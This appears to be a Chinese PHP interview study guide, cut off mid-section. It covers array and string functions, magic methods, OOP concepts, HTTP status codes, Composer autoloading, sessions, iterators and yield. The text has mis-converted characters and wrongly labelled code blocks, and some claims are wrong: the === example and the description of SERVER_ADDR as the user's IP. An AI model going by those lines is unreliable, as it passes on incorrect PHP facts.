基礎篇
瞭解大部分數組處理函數
array_chunk — 將一個數組分割成多個
array_column — 返回數組中指定的一列
array_combine — 建立一個數組,用一個數組的值做爲其鍵名,另外一個數組的值做爲其值(另外一種意義的合併數組)
array_flip — 交換數組中的鍵和值
array_key_exists — 檢查數組裏是否有指定的鍵名或索引
array_key_first — Gets the first key of an array
array_key_last — Gets the last key of an array
array_keys — 返回數組中部分的或全部的鍵名
array_merge — 合併一個或多個數組
array_pop — 彈出數組最後一個單元(出棧)
array_push — 將一個或多個單元壓入數組的末尾(入棧)
array_rand — 從數組中隨機取出一個或多個單元
array_reverse — 返回單元順序相反的數組
array_search — 在數組中搜索給定的值,若是成功則返回首個相應的鍵名
array_shift — 將數組開頭的單元移出數組
array_slice — 從數組中取出一段
array_sum — 對數組中全部值求和
array_unique — 移除數組中重複的值
array_unshift — 在數組開頭插入一個或多個單元
array_values — 返回數組中全部的值
arsort — 對數組進行逆向排序並保持索引關係
asort — 對數組進行排序並保持索引關係
count — 計算數組中的單元數目,或對象中的屬性個數
current — 返回數組中的當前單元
in_array — 檢查數組中是否存在某個值
krsort — 對數組按照鍵名逆向排序
ksort — 對數組按照鍵名排序
list — 把數組中的值賦給一組變量
shuffle — 打亂數組
sort — 對數組排序
uasort — 使用用戶自定義的比較函數對數組中的值進行排序並保持索引關聯
uksort — 使用用戶自定義的比較函數對數組中的鍵名進行排序
usort — 使用用戶自定義的比較函數對數組中的值進行排序
字符串處理函數 ,區別 mb_ 系列函數
chunk_split — 將字符串分割成小塊
explode — 使用一個字符串分割另外一個字符串
implode — 將一個一維數組的值轉化爲字符串
lcfirst — 使一個字符串的第一個字符小寫
ltrim — 刪除字符串開頭的空白字符(或其餘字符)
md5 — 計算字符串的 MD5 散列值
money_format — 將數字格式化成貨幣字符串
nl2br — 在字符串全部新行以前插入 HTML 換行標記
number_format — 以千位分隔符方式格式化一個數字
ord — 返回字符的 ASCII 碼值
rtrim — 刪除字符串末端的空白字符(或者其餘字符)
str_replace — 子字符串替換
str_ireplace — str_replace 的忽略大小寫版本
str_repeat — 重複一個字符串
str_shuffle — 隨機打亂一個字符串
str_split — 將字符串轉換爲數組
stripos — 查找字符串首次出現的位置(不區分大小寫)
strpos — 查找字符串首次出現的位置
strstr — 查找字符串的首次出現
stristr — strstr 函數的忽略大小寫版本
strlen — 獲取字符串長度
strrchr — 查找指定字符在字符串中的最後一次出現
strrev — 反轉字符串
strripos — 計算指定字符串在目標字符串中最後一次出現的位置(不區分大小寫)
strrpos — 計算指定字符串在目標字符串中最後一次出現的位置
strtok — 標記分割字符串
strtolower — 將字符串轉化爲小寫
strtoupper — 將字符串轉化爲大寫
substr_count — 計算字串出現的次數
substr_replace — 替換字符串的子串
substr — 返回字符串的子串
trim — 去除字符串首尾處的空白字符(或者其餘字符)
ucfirst — 將字符串的首字母轉換爲大寫
ucwords — 將字符串中每一個單詞的首字母轉換爲大寫
wordwrap — 打斷字符串爲指定數量的字串
普通字符串處理函數和mb_系列函數的區別:
不一樣編碼的個別語言(好比中文)所佔字節數不一樣,一個漢字在GB2312編碼下佔2個字節,在UTF-8(是變長編碼)編碼下佔2-3個字節,普通字符串處理函數是按每一個字符1字節來處理的,而mb_系列的函數在使用時能夠多指定一個編碼參數,方便處理不一樣編碼的中文。
最簡單的例子,strlen()會返回一個字符串所佔字節數,而mb_strlen()會返回一個字符串的字符數。再好比,substr($str2, 2, 2)在$str爲中文時可能會正好截取到一個漢字的一部分,這時就會發生亂碼,而mb_substr($str, 2, 2, ‘utf-8’)指定編碼後就不會發生亂碼問題了,中文時便是取幾個漢字。
& 引用,結合案例分析
PHP 的引用容許用兩個變量來指向同一個內容。
$a =& $b;
$a 和 $b 在這裏是徹底相同的,這並非 $a 指向了 $b 或者相反,而是 $a 和 $b 指向了同一個地方;
引用作的第二件事是用引用傳遞變量
function foo(&$var)
{ $var++; }
$a=5;
foo($a);
將使 $a 變成 6。這是由於在 foo 函數中變量 $var 指向了和 $a 指向的同一個內容。
引用不是指針,下面的結構不會產生預期的效果:
function foo(&$var)
{ $var =& $GLOBALS["baz"]; }
foo($bar);
當 unset 一個引用,只是斷開了變量名和變量內容之間的綁定。這並不意味着變量內容被銷燬了。例如:
$a = 1;
$b =& $a;
unset($a);
不會 unset $b,只是 $a。
== 與 === 區別
簡單來講,==是不帶類型比較是否相同(好比數字100 == ‘100’結果爲true),===是帶類型比較是否相同(好比100 == ‘100’結果爲false),官方手冊的解釋也相似:
isset 與 empty 區別
看到一個簡潔代碼的解釋:
再具體說:$a不存在和$a = null 兩種狀況在isset看來爲true,其他爲false(包括$a = ‘’;)
$a = null, 0, false, ‘ ’, 或不存在時在empty看來爲true,其他爲false。
再多說一句,isset用來判斷變量是否存在;empty用來判斷變量是否有值;這裏要特別注意0這個值在某些表單驗證狀況下多是有效值,此時不能僅用empty判斷變量是否有值,須要另做處理。
所有魔術函數理解
__construct 類的構造函數,經常使用來給類的屬性賦值,注意事項:
若是子類中定義了構造函數則不會隱式調用其父類的構造函數。要執行父類的構造函數,須要在子類的構造函數中調用 parent::__construct()。若是子類沒有定義構造函數則會如同一個普通的類方法同樣從父類繼承(假如沒有被定義爲 private 的話)
__destruct 析構函數,析構函數會在到某個對象的全部引用都被刪除或者當對象被顯式銷燬時執行。
__call,__callStatic 在對象中調用一個不可訪問方法時,__call() 會被調用。在靜態上下文中調用一個不可訪問方法時,__callStatic() 會被調用,做爲調用類中不存在的方法時對開發者的一個友好提示
__set,__get,__isset ,__unset 在給不可訪問屬性賦值時,__set() 會被調用;讀取不可訪問屬性的值時,__get() 會被調用;當對不可訪問屬性調用 isset() 或 empty() 時,__isset() 會被調用;當對不可訪問屬性調用 unset() 時,__unset() 會被調用。
__sleep,__wakeup serialize() 函數會檢查類中是否存在一個魔術方法 __sleep()。若是存在,該方法會先被調用,而後才執行序列化操做。此功能能夠用於清理對象,並返回一個包含對象中全部應被序列化的變量名稱的數組。若是該方法未返回任何內容,則 NULL 被序列化,併產生一個 E_NOTICE 級別的錯誤.返回父類的私有成員的名字,經常使用於提交未提交的數據,或相似的清理操做;與之相反,unserialize() 會檢查是否存在一個 __wakeup() 方法。若是存在,則會先調用 __wakeup 方法,預先準備對象須要的資源。__wakeup() 常常用在反序列化操做中,例如從新創建數據庫鏈接,或執行其它初始化操做
__toString 用於當直接echo $obj(一個對象)時該顯示什麼內容,必須返回一個字符串且不能在方法內拋出異常
__invoke 當嘗試以調用函數的方式調用一個對象時,__invoke() 方法會被自動調用,例如function __invoke($x) { var_dump($x); } $obj = new CallableClass; $obj(5);會輸出int(5)
__set_state 調用 var_export() 導出類時,此靜態 方法會被調用。本方法的惟一參數是一個數組,其中包含按 array('property' => value, ...) 格式排列的類屬性
__clone 對象複製能夠經過 clone 關鍵字來完成(若是可能,這將調用對象的 __clone() 方法)。對象中的 __clone() 方法不能被直接調用。
$copy_of_object = clone $object; 當對象被複制後,PHP 5 會對對象的全部屬性執行一個淺複製(shallow copy)。全部的引用屬性 仍然會是一個指向原來的變量的引用。當複製完成時,若是定義了 __clone() 方法,則新建立的對象(複製生成的對象)中的 __clone() 方法會被調用,可用於修改屬性的值(若是有必要的話)。
__debugInfo 當var_dumo(new Class)(參數爲一個對象時),該方法能夠控制顯示的內容,若沒有定義此方法,var_dump()將默認展現對象的全部屬性和方法
static、$this、self 區別
$this通俗解釋就是當前類的一個實例,沒必要多說,主要是static::和self::的區別
php
class A { public static function className(){ echo __CLASS__; } public static function test(){ self::className(); }} class B extends A{ public static function className(){ echo __CLASS__; }} B::test();
這將打印出來A
另外一方面static::它具備預期的行爲
css
class A { public static function className(){ echo __CLASS__; } public static function test(){ static::className(); }} class B extends A{ public static function className(){ echo __CLASS__; }} B::test();
這將打印出來B
這在PHP 5.3.0中稱爲後期靜態綁定。它解決了調用運行時引用的類的限制。
private、protected、public、final 區別
public:權限是最大的,能夠內部調用,實例調用等。
protected: 受保護類型,用於本類和繼承此類的子類調用。
private: 私有類型,只有在本類中使用。
static:靜態資源,能夠被子類繼承。
abstract:修飾抽象方法,沒有方法體,由繼承該類的子類來實現。
final:表示該變量、該方法已經「完成」,不可被覆蓋。修飾類時該類不能被繼承。
(所以final和abstract不能同時出現)
OOP 思想
簡單理解:
面向對象的編程就是編出一我的來,這我的能夠作不少種動做,跑,跳,走,舉手...他能作什麼取決於你如何組合這些動做,有些動做在一些功能中是不用的。
而層次化的編程(面向過程)就是造出一個具體的工具,他只能幹這樣一件事,條件——結果。
抽象類、接口 分別使用場景
接口一般是爲了抽象一種行爲,接口是一種規範,在設計上的意義是爲了功能模塊間的解耦,方便後面的功能擴展、維護,接口不能有具體的方法;
抽象類能夠有具體的方法,也能夠有抽象方法,一旦一個類有抽象方法,這個類就必須聲明爲抽象類,不少時候是爲子類提供一些共用方法;
因此,抽象類是爲了簡化接口的實現,他不只提供了公共方法的實現,讓你能夠快速開發,又容許你的類徹底能夠本身實現全部的方法,不會出現緊耦合的問題。
應用場合很簡單了
1 優先定義接口
2 若是有多個接口實現有公用的部分,則使用抽象類,而後集成它。
舉個簡單的例子:有一個動物接口,內有動物叫聲和動物說你好兩個方法,在實現該接口時各個動物的叫聲確定是不一樣的,可是他們都在說你好是相同的,此時就能夠用抽象類,把相同的說你好的方法抽象出去,就不用在每一個動物類中寫了。
Trait 是什麼東西
Trait 是爲相似 PHP 的單繼承語言而準備的一種代碼複用機制。Trait 爲了減小單繼承語言的限制,使開發人員可以自由地在不一樣層次結構內獨立的類中複用 method。Trait 和 Class 組合的語義定義了一種減小複雜性的方式,避免傳統多繼承和 Mixin 類相關典型問題。
Trait 和 Class 類似,但僅僅旨在用細粒度和一致的方式來組合功能。 沒法經過 trait 自身來實例化。它爲傳統繼承增長了水平特性的組合;也就是說,應用的幾個 Class 之間不須要繼承。
簡單理解:Trait爲不支持多繼承的php實現了多繼承,使用時不是用extends繼承,而是在類內部用 use 類名 表示。
重名方法優先級問題:當前類的成員覆蓋 trait 的方法,而 trait 則覆蓋被繼承的方法。
echo、print、print_r 區別(區分出表達式與語句的區別)
Echo,print是語言結構,print_r和var_dump是常規功能
print而且echo或多或少相同; 它們都是顯示字符串的語言結構。差別很微妙:print返回值爲1,所以能夠在表達式中使用,但echo具備void返回類型; echo能夠採用多個參數,儘管這種用法不多見; echo比print快一點。(就我的而言,我老是使用echo,從不print。)
var_dump打印出變量的詳細轉儲,包括其類型大小和任何子項的類型和大小(若是它是數組或對象)。
print_r以更易於閱讀的格式化形式打印變量(數組或對象):不能傳遞字符串,它省略了類型信息,不給出數組大小等。
var_dump, print_r根據個人經驗,一般在調試時更有用。當您不確切知道變量中的值/類型時,它尤爲有用。考慮這個測試程序:
$values = array(0, 0.0, false, '');
var_dump($values);
print_r ($values);
隨着print_r你不能告訴之間的區別0和0.0,或false和'':
array(4) {
[0]=> int(0)
[1]=> float(0)
[2]=> bool(false)
[3]=> string(0) ""
}
Array(
[0] => 0
[1] => 0
[2] =>
[3] => )
__construct 與 __destruct 區別
在一個類中定義一個方法做爲構造函數。具備構造函數的類會在每次建立新對象時先調用此方法,因此很是適合在使用對象以前作一些初始化工做。
析構函數會在到某個對象的全部引用都被刪除或者當對象被顯式銷燬時執行。和構造函數同樣,父類的析構函數不會被引擎暗中調用。要執行父類的析構函數,必須在子類的析構函數體中顯式調用 parent::__destruct()。此外也和構造函數同樣,子類若是本身沒有定義析構函數則會繼承父類的。析構函數即便在使用 exit() 終止腳本運行時也會被調用。在析構函數中調用 exit() 將會停止其他關閉操做的運行。
static 做用(區分類與函數內)手冊 、SOF
聲明類屬性或方法爲靜態,就能夠不實例化類而直接訪問。靜態屬性不能經過一個類已實例化的對象來訪問(但靜態方法能夠)。
爲了兼容 PHP 4,若是沒有指定訪問控制,屬性和方法默認爲公有。
因爲靜態方法不須要經過對象便可調用,因此僞變量 $this 在靜態方法中不可用。
靜態屬性不能夠由對象經過 -> 操做符來訪問,但能夠由對象經過 :: 來訪問
用靜態方式調用一個非靜態方法會致使一個 E_STRICT 級別的錯誤。
就像其它全部的 PHP 靜態變量同樣,靜態屬性只能被初始化爲文字或常量,不能使用表達式。因此能夠把靜態屬性初始化爲整數或數組,但不能初始化爲另外一個變量或函數返回值,也不能指向一個對象。
也能夠用一個值等於類名的字符串變量來動態調用類。但該變量的值不能爲關鍵字 self,parent 或 static,好比有個class A{}, 則能夠用$a=’A’; $a::這樣調用
在類以外(即:在函數中),static變量是在函數退出時不會丟失其值的變量。在同一函數的不一樣調用中維護的變量只有一個值。從PHP手冊的例子:
html
function test(){ static $a = 0; echo $a; $a++;} test(); // prints 0 test(); // prints 1 test(); // prints 2
__toString() 做用
用於一個類被當成字符串時應怎樣迴應。例如 echo $obj; ($obj爲一個對象) 應該顯示些什麼。此方法必須返回一個字符串,不然將發出一條E_RECOVERABLE_ERROR 級別的致命錯誤。相似與Java的toString方法
單引號'與雙引號"區別
單引號字符串幾乎徹底「按原樣」顯示。變量和大多數轉義序列都不會被解釋。例外狀況是,要顯示單引號字符,必須使用反斜槓\'轉義它,要顯示反斜槓字符,必須使用另外一個反斜槓轉義它\\。
雙引號字符串將顯示一系列轉義字符(包括一些正則表達式),而且將解析字符串中的變量。這裏重要的一點是,您能夠使用花括號來隔離要解析的變量的名稱。例如,假設您有變量$type,那麼您echo "The $type are"將查找該變量$type。繞過這個用途echo "The {$type} are"您能夠在美圓符號以前或以後放置左括號。看一下字符串解析,看看如何使用數組變量等。
Heredoc字符串語法就像雙引號字符串同樣。它始於<<<。在此運算符以後,提供標識符,而後提供換行符。字符串自己以下,而後再次使用相同的標識符來關閉引號。您不須要在此語法中轉義引號。
Nowdoc(自PHP 5.3.0開始)字符串語法基本上相似於單引號字符串。不一樣之處在於,甚至不須要轉義單引號或反斜槓。nowdoc用與heredocs相同的<<<序列標識,但後面的標識符用單引號括起來,例如<<<'EOT'。在nowdoc中沒有解析。
常見 HTTP 狀態碼,分別表明什麼含義,301 什麼意思 404 呢?
1xx消息:這一類型的狀態碼,表明請求已被接受,須要繼續處理。因爲HTTP/1.0協議中沒有定義任何1xx狀態碼,因此除非在某些試驗條件下,服務器禁止向此類客戶端發送1xx響應。
2xx成功:這一類型的狀態碼,表明請求已成功被服務器接收、理解、並接受
200 OK:請求已成功,請求所但願的響應頭或數據體將隨此響應返回。實際的響應將取決於所使用的請求方法。在GET請求中,響應將包含與請求的資源相對應的實體。在POST請求中,響應將包含描述或操做結果的實體
202 Accepted:服務器已接受請求,但還沒有處理。最終該請求可能會也可能不會被執行,而且可能在處理髮生時被禁止。
204 No Content:服務器成功處理了請求,沒有返回任何內容
3xx重定向:這類狀態碼錶明須要客戶端採起進一步的操做才能完成請求。一般,這些狀態碼用來重定向,後續的請求地址(重定向目標)在本次響應的Location域中指明。
301 Moved Permanently:被請求的資源已永久移動到新位置,而且未來任何對此資源的引用都應該使用本響應返回的若干個URI之一。若是可能,擁有連接編輯功能的客戶端應當自動把請求的地址修改成從服務器反饋回來的地址。除非額外指定,不然這個響應也是可緩存的。新的永久性的URI應當在響應的Location域中返回。除非這是一個HEAD請求,不然響應的實體中應當包含指向新的URI的超連接及簡短說明。若是這不是一個GET或者HEAD請求,那麼瀏覽器禁止自動進行重定向,除非獲得用戶的確認,由於請求的條件可能所以發生變化。注意:對於某些使用HTTP/1.0協議的瀏覽器,當它們發送的POST請求獲得了一個301響應的話,接下來的重定向請求將會變成GET方式。
4xx客戶端錯誤:這類的狀態碼錶明瞭客戶端看起來可能發生了錯誤,妨礙了服務器的處理。除非響應的是一個HEAD請求,不然服務器就應該返回一個解釋當前錯誤情況的實體,以及這是臨時的仍是永久性的情況。這些狀態碼適用於任何請求方法。瀏覽器應當向用戶顯示任何包含在此類錯誤響應中的實體內容
400 Bad Request:因爲明顯的客戶端錯誤(例如,格式錯誤的請求語法,太大的大小,無效的請求消息或欺騙性路由請求),服務器不能或不會處理該請求
401 Unauthorized:相似於403 Forbidden,401語義即「未認證」,即用戶沒有必要的憑據。[32]該狀態碼錶示當前請求須要用戶驗證。該響應必須包含一個適用於被請求資源的WWW-Authenticate信息頭用以詢問用戶信息。客戶端能夠重複提交一個包含恰當的Authorization頭信息的請求。
403 Forbidden:服務器已經理解請求,可是拒絕執行它。與401響應不一樣的是,身份驗證並不能提供任何幫助,並且這個請求也不該該被重複提交。若是這不是一個HEAD請求,並且服務器但願可以講清楚爲什麼請求不能被執行,那麼就應該在實體內描述拒絕的緣由。固然服務器也能夠返回一個404響應,假如它不但願讓客戶端得到任何信息。
404 Not Found:請求失敗,請求所但願獲得的資源未被在服務器上發現,但容許用戶的後續請求。[35]沒有信息可以告訴用戶這個情況究竟是暫時的仍是永久的。假如服務器知道狀況的話,應當使用410狀態碼來告知舊資源由於某些內部的配置機制問題,已經永久的不可用,並且沒有任何能夠跳轉的地址。404這個狀態碼被普遍應用於當服務器不想揭示到底爲什麼請求被拒絕或者沒有其餘適合的響應可用的狀況下。
405 Method Not Allowed:請求行中指定的請求方法不能被用於請求相應的資源。
408 Request Timeout:請求超時
5xx服務器錯誤:表示服務器沒法完成明顯有效的請求。[56]這類狀態碼錶明瞭服務器在處理請求的過程當中有錯誤或者異常狀態發生,也有多是服務器意識到以當前的軟硬件資源沒法完成對請求的處理。除非這是一個HEAD請求,不然服務器應當包含一個解釋當前錯誤狀態以及這個情況是臨時的仍是永久的解釋信息實體。瀏覽器應當向用戶展現任何在當前響應中被包含的實體。這些狀態碼適用於任何響應方法
500 Internal Server Error:通用錯誤消息,服務器遇到了一個不曾預料的情況,致使了它沒法完成對請求的處理。沒有給出具體錯誤信息
502 Bad Gateway:做爲網關或者代理工做的服務器嘗試執行請求時,從上游服務器接收到無效的響應
503 Service Unavailable:因爲臨時的服務器維護或者過載,服務器當前沒法處理請求。這個情況是暫時的,而且將在一段時間之後恢復。
504 Gateway Timeout:做爲網關或者代理工做的服務器嘗試執行請求時,未能及時從上游服務器(URI標識出的服務器,例如HTTP、FTP、LDAP)或者輔助服務器(例如DNS)收到響應。注意:某些代理服務器在DNS查詢超時時會返回400或者500錯誤。
==============================進階篇=======================================
Autoload、Composer 原理 PSR-4 、原理
Autoload機制能夠使得PHP程序有可能在使用類時才自動包含類文件,而不是一開始就將全部的類文件include進來,這種機制也稱爲lazy loading(懶加載)
前端
function __autoload($classname) { $classpath="./".$classname.'.class.php'; if(file_exists($classpath)) { require_once($classpath); } else { echo 'class file'.$classpath.'not found!'; } } $person = new Person(」Altair」, 6); var_dump ($person);
一般PHP5在使用一個類時,若是發現這個類沒有加載,就會自動運行__autoload()函數,在這個函數中咱們能夠加載須要使用的類。autoload至少要作三件事情,第一件事是根據類名肯定類文件名,第二件事是肯定類文件所在的磁盤路徑(在咱們的例子是最簡單的狀況,類與調用它們的PHP程序文件在同一個文件夾下),第三件事是將類從磁盤文件中加載到系統中(php7.2廢除__autoload函數,建議使用spl_autoload_register() 實現相同功能)
Autoload原理簡單概述:
1.檢查執行器全局變量函數指針autoload_func是否爲NULL。
2.若是autoload_func==NULL, 則查找系統中是否認義有__autoload()函數,若是沒有,則報告錯誤並退出。
3.若是定義了__autoload()函數,則執行__autoload()嘗試加載類,並返回加載結果。
4.若是autoload_func不爲NULL,則直接執行autoload_func指針指向的函數用來加載類。注意此時並不檢查__autoload()函數是否認義。
spl_autoload_register() 就是咱們上面所說的__autoload調用堆棧,咱們能夠向這個函數註冊多個咱們本身的 autoload() 函數,當 PHP 找不到類名時,PHP就會調用這個堆棧,而後去調用自定義的 autoload() 函數,實現自動加載功能。若是咱們不向這個函數輸入任何參數,那麼就會默認註冊 spl_autoload() 函數
Composer 作了哪些事情:你有一個項目依賴於若干個庫;其中一些庫依賴於其餘庫;你聲明你所依賴的東西;Composer 會找出哪一個版本的包須要安裝,並安裝它們(將它們下載到你的項目中)。
執行 composer require 時發生了什麼:composer 會找到符合 PR4 規範的第三方庫的源;將其加載到 vendor 目錄下;初始化頂級域名的映射並寫入到指定的文件裏;寫好一個 autoload 函數,而且註冊到 spl_autoload_register()裏。
Composer是利用的遵循psr-4規範的類自動加載機制實現的,PSR-4規範簡介:
完整的類名 必須 要有一個頂級命名空間,被稱爲 "vendor namespace";
完整的類名 能夠 有一個或多個子命名空間;
完整的類名 必須 有一個最終的類名;
完整的類名中任意一部分中的下滑線都是沒有特殊含義的;
完整的類名 能夠 由任意大小寫字母組成;
全部類名都 必須 是大小寫敏感的。
完整的類名中,去掉最前面的命名空間分隔符,前面連續的一個或多個命名空間和子命名空間,做爲「命名空間前綴」,其必須與至少一個「文件基目錄」相對應;
緊接命名空間前綴後的子命名空間 必須 與相應的「文件基目錄」相匹配,其中的命名空間分隔符將做爲目錄分隔符。
末尾的類名 必須 與對應的以 .php 爲後綴的文件同名。
自動加載器(autoloader)的實現 必定不可 拋出異常、必定不可 觸發任一級別的錯誤信息以及 不該該 有返回值。
Composer自動加載原理概述:
若是咱們在代碼中寫下 new phpDocumentor\Reflection\Element(),PHP 會經過 SPL_autoload_register 調用 loadClass -> findFile -> findFileWithExtension。步驟以下:
將 \ 轉爲文件分隔符/,加上後綴php,變成 $logicalPathPsr4, 即 phpDocumentor/Reflection//Element.php;
利用命名空間第一個字母p做爲前綴索引搜索 prefixLengthsPsr4 數組,查到下面這個數組:
p' =>
array (
'phpDocumentor\\Reflection\\' => 25,
'phpDocumentor\\Fake\\' => 19,
)
遍歷這個數組,獲得兩個頂層命名空間 phpDocumentor\Reflection\ 和 phpDocumentor\Fake\
在這個數組中查找 phpDocumentor\Reflection\Element,找出 phpDocumentor\Reflection\ 這個頂層命名空間而且長度爲25。
在prefixDirsPsr4 映射數組中獲得phpDocumentor\Reflection\ 的目錄映射爲:
'phpDocumentor\\Reflection\\' =>
array (
0 => __DIR__ . '/..' . '/phpdocumentor/reflection-common/src',
1 => __DIR__ . '/..' . '/phpdocumentor/type-resolver/src',
2 => __DIR__ . '/..' . '/phpdocumentor/reflection-docblock/src',
),
遍歷這個映射數組,獲得三個目錄映射;
查看 「目錄+文件分隔符//+substr($logicalPathPsr4, $length)」文件是否存在,存在即返回。這裏就是
'__DIR__/../phpdocumentor/reflection-common/src + substr(phpDocumentor/Reflection/Element.php,25)'
若是失敗,則利用 fallbackDirsPsr4 數組裏面的目錄繼續判斷是否存在文件
Session 共享、存活時間
爲何要使用Session共享:
分佈式開發項目中,用戶經過瀏覽器登陸商城,實際上會被轉發到不一樣的服務器,當用戶登陸進入服務器A,session保存了用戶的信息,用戶再次點擊頁面被轉發到服務器B,這時問題來了,服務器B沒有該用戶的session信息,沒法驗證經過,用戶被踢回到登陸頁面,這樣體驗效果很是很差,甚至沒法驗證用戶,購物車裏面商品都不存在了。
利用Redis實現簡單的Session共享:
用戶第一次進入商城首頁,給一個CSESSIONID,(不用JSESSIONID的緣由),用戶添加商品,各類須要記錄的操做,都與這個CSESSIONID關聯起來;
當使用登陸操做時候,將這個用戶的信息,如用戶名等存入到redis中,經過K_V,將CSESSIONID加一個標誌做爲key,將用戶信息做爲value;
當用戶點擊頁面被轉發到其餘服務器時候,在須要驗證是否同一個用戶時,就能夠從redis中取出value,進行驗證用戶信息,實現共享。
Session 在php配置文件中的默認有效時間是24分鐘,設置session永久有效的方法:
若是擁有服務器的操做權限,那麼只須要進行以下的步驟:
一、把「session.use_cookies」設置爲1,打開Cookie儲存SessionID,不過默認就是1,通常不用修改;
二、把「session.cookie_lifetime」改成正無窮(固然沒有正無窮的參數,不過999999999和正無窮也沒有什麼區別);
三、把「session.gc_maxlifetime」設置爲和「session.cookie_lifetime」同樣的時間;
異常處理
異常處理用於在指定的錯誤(異常)狀況發生時改變腳本的正常流程。這種狀況稱爲異常。
異常的簡單使用:
拋出一個異常throw new Exception("Value must be 1 or below"),同時不去捕獲它,服務器會報Fatal error: Uncaught exception 'Exception' 的錯誤;
拋出一個異常throw new Exception("Value must be 1 or below"),並try{} catch(Exception $e){echo:’Message:’ . $e->getMessage();},當異常發生時,服務器就會報預設的錯誤提示:Message: Value must be 1 or below
自定義Exception類:必須繼承Exception類,能夠使用Exception類的全部方法:
vue
class customException extends Exception { public function errorMessage() { //error message $errorMsg = 'Error on line '.$this->getLine().' in '.$this->getFile() .': <b>'.$this->getMessage().'</b> is not a valid E-Mail address'; return $errorMsg; } }
異常的規則:
須要進行異常處理的代碼應該放入 try 代碼塊內,以便捕獲潛在的異常。
每一個 try 或 throw 代碼塊必須至少擁有一個對應的 catch 代碼塊。
使用多個 catch 代碼塊能夠捕獲不一樣種類的異常。
能夠在 try 代碼塊內的 catch 代碼塊中再次拋出(re-thrown)異常。
簡而言之:若是拋出了異常,就必須捕獲它
如何 foreach 迭代對象
展現foreach工做原理的例子:
html5
class myIterator implements Iterator { private $position = 0; private $array = array( "firstelement", "secondelement", "lastelement", ); public function __construct() { $this->position = 0; } //返回到迭代器的第一個元素 function rewind() { var_dump(__METHOD__); $this->position = 0; } // 返回當前元素 function current() { var_dump(__METHOD__); return $this->array[$this->position]; } //返回當前元素的鍵 function key() { var_dump(__METHOD__); return $this->position; } //向前移動到下一個元素 function next() { var_dump(__METHOD__); ++$this->position; } //檢查當前位置是否有效 function valid() { var_dump(__METHOD__); return isset($this->array[$this->position]); } } $it = new myIterator; foreach($it as $key => $value) { var_dump($key, $value); echo "\n"; }
輸出結果:
string(18) "myIterator::rewind"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(0)
string(12) "firstelement"
string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(1)
string(13) "secondelement"
string(16) "myIterator::next"
string(17) "myIterator::valid"
string(19) "myIterator::current"
string(15) "myIterator::key"
int(2)
string(11) "lastelement"
string(16) "myIterator::next"
string(17) "myIterator::valid"
如何數組化操做對象 $obj[key];
PHP提供了ArrayAccess接口使實現此接口的類的實例能夠向操做數組同樣經過$obj[key]來操做,如下是php手冊中對實現ArrayAccess接口的類的示例:
java
class obj implements arrayaccess { private $container = array(); public function __construct() { $this->container = array( "one" => 1, "two" => 2, "three" => 3, ); } //設置一個偏移位置的值 public function offsetSet($offset, $value) { if (is_null($offset)) { $this->container[] = $value; } else { $this->container[$offset] = $value; } } //檢查一個偏移位置是否存在 public function offsetExists($offset) { return isset($this->container[$offset]); } //復位一個偏移位置的值 public function offsetUnset($offset) { unset($this->container[$offset]); } //獲取一個偏移位置的值 public function offsetGet($offset) { return isset($this->container[$offset]) ? $this-> container[$offset] : null; } }
對該類測試使用:
$obj = new obj;
var_dump(isset($obj["two"]));
var_dump($obj["two"]);
unset($obj["two"]);
var_dump(isset($obj["two"]));
$obj["two"] = "A value";
var_dump($obj["two"]);
$obj[] = 'Append 1';
$obj[] = 'Append 2';
$obj[] = 'Append 3';
print_r($obj);
?>
以上例程的輸出相似於:
bool(true)
int(2)
bool(false)
string(7) "A value"
obj Object
(
[container:obj:private] => Array
(
[one] => 1
[three] => 3
[two] => A value
[0] => Append 1
[1] => Append 2
[2] => Append 3
)
)
如何函數化對象 $obj(123);
利用PHP提供的魔術函數__invoke()方法能夠直接實現,當嘗試以調用函數的方式調用一個對象時,__invoke() 方法會被自動調用,下面是官方手冊示例:
node
class CallableClass { function __invoke($x) { var_dump($x); } } $obj = new CallableClass; $obj(5); var_dump(is_callable($obj));
輸出結果:
int(5)
bool(true)
yield 是什麼,說個使用場景 yield
PHP官方手冊對yield的解釋:
它最簡單的調用形式看起來像一個return申明,不一樣之處在於普通return會返回值並終止函數的執行,而yield會返回一個值給循環調用今生成器的代碼而且只是暫停執行生成器函數。
個人簡單理解:yield起一個暫停程序的做用,好比在一個循環中,程序執行遇到yield語句就會返回yield聲明的數據,而不是循環完總體返回,加了yield後就會挨個返回。
Caution:若是在一個表達式上下文(例如在一個賦值表達式的右側)中使用yield,你必須使用圓括號把yield申明包圍起來。 例如這樣是有效的:$data = (yield $value);
屬於PHP生成器語法,官方手冊的解釋:
一個生成器函數看起來像一個普通的函數,不一樣的是普通函數返回一個值,而一個生成器能夠yield生成許多它所須要的值。
當一個生成器被調用的時候,它返回一個能夠被遍歷的對象.當你遍歷這個對象的時候(例如經過一個foreach循環),PHP 將會在每次須要值的時候調用生成器函數,並在產生一個值以後保存生成器的狀態,這樣它就能夠在須要產生下一個值的時候恢復調用狀態。
一旦再也不須要產生更多的值,生成器函數能夠簡單退出,而調用生成器的代碼還能夠繼續執行,就像一個數組已經被遍歷完了。
Note:一個生成器不能夠返回值: 這樣作會產生一個編譯錯誤。然而return空是一個有效的語法而且它將會終止生成器繼續執行。
使用場景:
laravel框架的model以遊標方式取數據時,用的是yield來防止一次性取數據太多致使內存不足的問題
PHP 使用協同程序實現合做多任務
PSR 是什麼,PSR-1, 2, 4, 7
PSR-1---基礎編碼規範
PSR-2---編碼風格規範
PSR-4---自動加載規範
PSR-7---HTTP 消息接口規範
如何獲取客戶端 IP 和服務端 IP 地址
客戶端 IP
$_SERVER['REMOTE_ADDR'] 瀏覽當前頁面的用戶的 IP 地址
服務端 IP
$_SERVER['SERVER_ADDR'] 瀏覽當前頁面的用戶的 IP 地址
瞭解代理透傳 實際IP 的概念
代理通常會在HTTP的Header中傳輸如下3個字段:
REMOTE_ADDR
HTTP_X_FORWARDED_FOR
HTTP_VIA
對於透傳代理(Transparent Proxy)來講,你真實IP地址會被放在HTTP_X_FORWARDED_FOR裏面。這意味着網站能夠知道代理的IP,還知道你實際的IP地址。HTTP_VIA頭也會發送,顯示你正在使用代理服務器
如何開啓 PHP 異常提示
php.ini 開啓 display_errors 設置 error_reporting 等級
運行時,使用 ini_set(k, v); 動態設置
如何返回一個301重定向
[WARNING] 必定小心設置 301 後腳本會繼續執行,不要認爲下面不會執行,必要時使用 die or exit
方法1: mysql
